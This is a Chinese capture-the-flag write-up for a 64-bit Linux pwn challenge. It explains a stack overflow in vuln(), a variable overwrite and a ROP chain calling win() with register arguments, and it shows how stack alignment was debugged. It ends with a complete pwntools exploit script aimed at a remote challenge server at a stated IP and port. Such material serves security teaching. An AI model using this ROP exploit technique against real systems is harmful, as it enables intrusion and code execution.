Calling Convention 64 wp

1000x_ 2026-05-20 13:31:22 24 0


通过分析vuln()可以发现题目有明显的栈溢出漏洞,并且设置了if判断语句,可以通过栈溢出和变量覆盖绕过



分析win(),可以发现该函数也设置了相同的语句,不过通过栈溢出跳转到该函数时是直接判断,没有让用户输入,所以仅可设置一个payload。因为该题是64位下Linux可执行文件,所以在传递参数时,需要用寄存器传参


payload = b"a"*(0x30 - 0x8)

payload = b"a"*(0x30 - 0x8)
payload += p32(500)
payload += p32(400)
payload += b"a"*8

payload += p64(ret)
payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi)
payload += p64(0x1337)
payload += p64(0)
payload += p64(win)

前半段是正常的栈溢出ROP,但是在填充ret跳转win()时,发现程序并输出flag。

通过动态调试发现,在填充了ret地址后,红圈部分的提示RSP寄存器并没有16字节对齐。


查看RSP的对齐情况可以看到当前是8字节对齐,并非16字节


将payload的p64(ret)去掉后再次动调,可以看到,完成了16字节对齐,并且程序准备打印flag。



Exploit:

from pwn import *
ip = "49.232.142.230"
port = 18253
p = remote(ip, port)
# p = process("./pwn")
elf = ELF("./pwn")
rop = ROP(elf)
win = elf.symbols["win"]
ret = rop.find_gadget(["ret"])[0]
rdi = rop.find_gadget(["pop rdi", "ret"])[0]
rsi = rop.find_gadget(["pop rsi", "pop r15", "ret"])[0]
p.recvuntil(b"data: ")
# p.recvline()
payload = b"a"*(0x30 - 0x8)
payload += p32(500)
payload += p32(400)
payload += b"a"*8
# payload += p64(0)

# payload += p64(ret)
# payload += p64(ret)
# payload += p64(win)

payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi)
payload += p64(0x1337)
payload += p64(0)
payload += p64(win)


# gdb.attach(p)
# pause()


p.sendline(payload)
p.interactive()

分类:PWN
image
作者:1000x_

11

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈